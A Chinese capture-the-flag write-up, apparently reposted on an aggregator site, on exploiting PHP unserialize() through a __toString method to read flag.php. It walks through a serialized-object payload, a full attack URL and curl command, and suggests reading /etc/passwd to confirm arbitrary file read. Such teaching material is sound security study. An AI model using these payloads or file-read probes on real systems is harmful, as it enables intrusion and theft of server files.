【CTF-WEB-反序列化】利用__toString魔术方法读取flag.php

题目

页面提示输入?code,那我们在网址里get一下
在这里插入图片描述
出现了新页面的提示,进入看看
在这里插入图片描述
下面有个help.php页面的提示,进入看看
在这里插入图片描述

有一段php代码,仔细分析,应该是要用反序列法
在这里插入图片描述

代码如下

class FileClass{ public $filename = 'error.log'; public function __toString(){ return file_get_contents($this->filename); } 
}

代码分析

关键点解析:

  1. 类结构

    • FileClass 是一个PHP类
    • public $filename = 'error.log':公共属性,默认值为’error.log’
    • public function __toString():PHP魔术方法
  2. __toString() 魔术方法

    • 这是PHP中的特殊方法
    • 当对象被当作字符串处理时自动调用
    • 例如:echo $objectprint $object或字符串连接时
    • 本例中它执行file_get_contents($this->filename),那么我们就想办法,让这个方法去读取flag文件
  3. 文件读取机制

    • file_get_contents() 读取文件内容
    • 读取的文件路径由$this->filename决定
    • 默认读取error.log,但属性值可修改
  4. 安全漏洞

    • 如果攻击者能控制$filename的值
    • 就能读取服务器任意文件
    • 这是典型的"任意文件读取"漏洞

构造攻击的Payload生成器

将下列代码用php运行,得到结果O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}

<?php
class FileClass{public $filename = 'flag.php';
}$file = new FileClass();
echo serialize($file);
?>

通常flag就存储在这flag.php个文件里

在这里插入图片描述

关键点解析:

  1. 类定义
    • 复制目标网站的类名FileClass
    • 修改$filename为攻击目标flag.php

为什么需要完全相同的类名?
在反序列化过程中,PHP会根据序列化字符串中的类名:

  • 查找当前是否已定义同名类
  • 如果找到,使用该类创建对象
  • 如果未找到,创建__PHP_Incomplete_Class特殊对象
    因此攻击代码中必须使用完全相同的类名FileClass,否则:
  • 服务器找不到类定义
  • 无法正确创建对象
  • __toString()不会被触发
  1. 对象创建
    • $file = new FileClass(); 创建对象实例
    • 此时$file->filename = 'flag.php'

重写属性值不会破坏__toString()方法,反而让方法基于新值执行,这正是PHP对象序列化漏洞能被利用的根本原因——攻击者可以控制对象状态,而服务器代码会基于该状态执行敏感操作。

  1. 序列化

    • serialize($file) 将对象转为序列化字符串
    • 结果示例:O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
    • 格式解析:
      • O:9:"FileClass":对象(类名长度9)
      • 1:1个属性
      • {s:8:"filename":属性名(字符串长度8)
      • s:8:"flag.php":属性值(字符串长度8)
  2. URL编码
    需要对序列化字符串进行编码,这是为了确保在通过URL参数传递时,特殊字符(如双引号、冒号等)不会破坏URL结构。
    可以使用urlencode(serialize($file)) 进行编码

    • 确保安全传输:
      • :%3A
      • "%22
      • ;%3B
      • {%7B
      • }%7D
    • 最终结果:O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

本文实际操作中,URL 编码/解码网站直接对后面的参数进行编码即可。

  • 最终攻击网址为:http://223.112.39.132:44813/index.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

在这里插入图片描述
在这里插入图片描述
ctf{64e3be45fb0848259cdcc624758a23119d9a035c}

  1. 查看结果:
  • 如果页面显示PHP代码 → 查看网页源代码
  • 如果空白 → 尝试其他文件路径
  • 常见备选路径:
    $filename = '/flag';          // 根目录下的flag文件
    $filename = '../../flag.php'; // 上级目录
    $filename = '/etc/passwd';    // 测试文件
    

为什么CTF题目这样设计?

  1. 漏洞教育:展示反序列化漏洞的实际危害
  2. 魔术方法风险:演示__toString()等魔术方法的安全隐患
  3. 属性控制:说明用户可控对象属性的危险性
  4. 文件读取:任意文件读取是常见高危漏洞类型

这种设计完美展示了:当不可信输入直接传递给unserialize()时,攻击者可以通过控制对象属性实现敏感操作。

为什么这样做能获取flag?

  1. 服务器存在反序列化漏洞:它接收code参数并直接反序列化
  2. 反序列化后创建了FileClass对象
  3. 当服务器尝试输出该对象时,自动调用__toString()方法
  4. 该方法读取并返回flag.php的内容
  5. 你就能在页面中看到flag文件的内容

现在尝试执行这些步骤,应该能成功获取flag!如果遇到问题,可以尝试不同的文件路径或检查payload格式是否正确。

备注

  1. 文件路径问题

    • 如果flag.php不在当前目录,尝试:
      • /flag
      • /flag.txt
      • ../../flag.php
      • /var/www/html/flag.php
  2. 调试技巧

    • 通常,也可以先尝试读取/etc/passwd确认漏洞存在:
      $filename = '/etc/passwd';
      
    • 如果页面显示空白,查看网页源代码
    • 也可以使用curl测试:
      curl "http://223.112.39.132:44813/help.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D"
      

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/90890.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/90890.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在 github.com 与 sourceforge.net 上创建免费个人静态网站、博客的区别

github.com github 属于 git 版本管理专业网站&#xff0c;有免费和收费两种套餐。git 的数据是存放在数据库中的&#xff0c;要将数据库中的数据显示为网站的网页&#xff0c;这需要服务器端提供专门的中间件支持才能实现。 特点&#xff1a; 官方支持&#xff1a;提供长期…

jenkins 入门指南:从安装到启动的完整教程

jenkins 入门指南&#xff1a;从安装到启动的完整教程 持续集成&#xff08;CI&#xff09;是现代开发流程中的核心环节&#xff0c;而 Jenkins 作为一款开源的 CI 工具&#xff0c;凭借简单安装、开箱即用、插件丰富、易于扩展等优势&#xff0c;成为开发者的首选工具。它能自…

机器学习(重学版)基础篇(概念与评估)

本篇参考周志华老师的西瓜书&#xff0c;但是本人学识有限仅能理解皮毛&#xff0c;如有错误诚请读友评论区指正&#xff0c;万分感谢。一、基础概念与评估方法本节目标&#xff1a;建立理论基础框架​1、机器学习定义机器学习是一门通过计算手段利用经验&#xff08;以数据形式…

spring/springboot SPI(二)配合使用的接口

spring.factories 里&#xff0c;Spring 会根据接口来加载实现类&#xff0c;常见的几个接口包括&#xff1a;一、org.springframework.context.ApplicationListener1、作用监听 Spring 容器事件&#xff0c;如 ApplicationReadyEvent。2、使用方法项目结构Spring Boot 2.xSpri…

基于Zig语言,opencv相关的c++程序静态交叉编译

一、写在前面 1.什么是zig? Zig 是一种通用编程语言&#xff1b; Zig 最初的定位就是代替C语言的系统级语言&#xff0c;它提供了与 C 语言几乎 100% 兼容&#xff08;可直接调用 C 头文件、链接 C 库&#xff09;&#xff0c;同时不需要任何依赖构建系统。 Zig 同时附带一…

基于 LSTM 与 SVM 融合的时间序列预测模型:理论框架与协同机制—实践算法(1)

目录 1、单一模型的局限性&#xff1a;混合架构的设计动机 2、LSTM 的时序特征提取&#xff1a;从原始序列到高阶表征 2.1、门控机制的时序过滤能力 2.2、隐藏状态的特征压缩作用 2.3、预训练的特征优化逻辑 3、SVM 的非线性映射&#xff1a;从高阶特征到预测输出 3.1、…

如何查看docker实例是否挂载目录,以及挂载了哪些目录

一条命令即可一次性列出当前容器里所有挂载点&#xff1a; docker inspect <容器ID或名称> --format{{range .Mounts}}{{printf "%-8s %-35s -> %s\n" .Type .Source .Destination}}{{end}}示例输出&#xff1a; bind /host/owrt/src …

Opentrons 模块化平台与AI技术助力智能移液创新,赋能AAW™自动化工作站

在生命科学领域加速拥抱自动化的关键节点&#xff0c;全球开源实验室自动化领导者 Opentrons 携手全球领先生命科学公司默克生命科学&#xff0c;重磅推出 AAW™智能自动化液体处理平台。这一战略合作的核心技术引擎 ——Opentrons Flex 第三代全自动移液工作站&#xff0c;正以…

C++学习笔记(八:函数与变量)

往篇内容&#xff1a; C学习笔记&#xff08;一&#xff09; 一、C编译阶段※ 二、入门案例解析 三、命名空间详解 四、C程序结构 C学习笔记&#xff08;二&#xff09; 五、函数基础 六、标识符 七、数据类型 补充&#xff1a;二进制相关的概念 sizeof 运算符简介 补…

智慧施工:施工流程可视化管理系统

图扑智慧施工全流程可视化管理系统&#xff0c;通过可视化界面&#xff0c;可直观掌握各工序衔接进度、资源调配情况&#xff0c;快速识别违规作业、设备故障等风险点 —— 如塔吊运行半径重叠、深基坑支护位移预警等。同时&#xff0c;系统支持施工方案模拟推演&#xff0c;对…

单链表的冒泡排序实现:从原理到代码详解

单链表的冒泡排序实现&#xff1a;从原理到代码详解 引言 单链表作为一种常见的数据结构&#xff0c;其排序操作因节点无法随机访问&#xff08;需通过指针遍历&#xff09;而与数组排序存在差异。冒泡排序因其实现简单、无需额外空间&#xff08;仅需指针操作&#xff09;&…

如何在 Ubuntu 24.04 或 22.04 上安装和使用 GDebi

APT 是 Ubuntu 上安装需要外部依赖项的 Debian 包的一种方式,但还有另一种选择,即 GDebi。本文将介绍如何在 Ubuntu 24.04 上安装 GDebi,以及如何使用它来安装 .deb 包所需的依赖项。 什么是 GDebi? GDebi 是默认的 .deb 包安装器 DPKG 的轻量级替代品。与 DPKG 不同,GD…

俄罗斯方块游戏开发(面向对象编程)

摘要本设计基于MATLAB面向对象编程技术&#xff0c;开发了一款具备完整游戏逻辑的俄罗斯方块游戏。通过类封装实现游戏核心模块&#xff08;方块管理、游戏板状态、碰撞检测等&#xff09;&#xff0c;采用旋转矩阵实现方块变形&#xff0c;结合MATLAB图形用户界面&#xff08;…

背包DP之多重背包

背包DP之多重背包一、多重背包基础认知1.1 问题定义1.2 核心特征二、基础解法&#xff1a;暴力拆分2.1 核心思路2.2 代码实现2.3 局限性分析三、优化解法&#xff1a;二进制拆分3.1 优化原理3.2 拆分步骤3.3 代码实现3.4 复杂度分析四、二进制拆分过程五、多重背包的变种与应用…

Ansible 变量指南:声明、优先级、作用域与最佳实践(一)

Ansible 变量的声明 前言 全面理解 Ansible 变量是编写高效、可维护 Playbook 的关键。由于最近使用 Ansible 比较多&#xff0c;在变量问题上踩了不少坑&#xff0c;也因此对变量的声明&#xff0c;优先级和作用域有了更深的理解。姑且总结一下&#xff0c;分享给大家&#…

[极客大挑战 2019]FinalSQL--布尔盲注

直接看题可以看到题目给了提示盲注&#xff01;那么接下来就是寻找注入点了&#xff01;那么不能发现注入点就是id了&#xff01;注入类型为数值型注入&#xff01;这里直接尝试盲注。但是这里and被过滤了&&也不行。问了几个师傅说用or&#xff0c;但是空格被过滤了&am…

再谈fpga开发(状态机的应用)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】前面说过&#xff0c;fpga上面最基础的部分是寄存器&#xff0c;而所有寄存器存在每一个clock下&#xff0c;都有被翻转的可能性。至于这些寄存器是…

TCP如何解决网络切换问题

一、传统TCP的网络切换问题核心问题&#xff1a;TCP 连接基于四元组&#xff08;源IP、源端口、目的IP、目的端口&#xff09;&#xff0c;IP 变化导致连接失效二、改进方案与技术演进1. MPTCP&#xff08;多路径TCP&#xff09; - 主流解决方案核心机制&#xff1a;单连接多路…

【Linux】常用命令(一)

【Linux】常用命令 一1. ls1.1 ls -a 显示所有文件及其目录1.2 ls -A 不显示当前目录和父目录1.3 ls -d 显示目录本身&#xff0c;而不是显示其内部内容1.4 ls -i 显示文件的inode属性信息1.4.1 实际用途场景1.5 ls -l 显示文件的详细属性信息1.6 ls -R 递归显示所有子文件1.7 …

Window 部署 coze-stdio(coze 开发平台)

参考链接 https://github.com/coze-dev/coze-studio/wiki/2.-%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B https://github.com/coze-dev/coze-studio/wiki/3.-%E6%A8%A1%E5%9E%8B%E9%85%8D%E7%BD%AE 环境说明 Docker&#xff1a;28.3.2 系统&#xff1a;Window 11 配置要求 CP…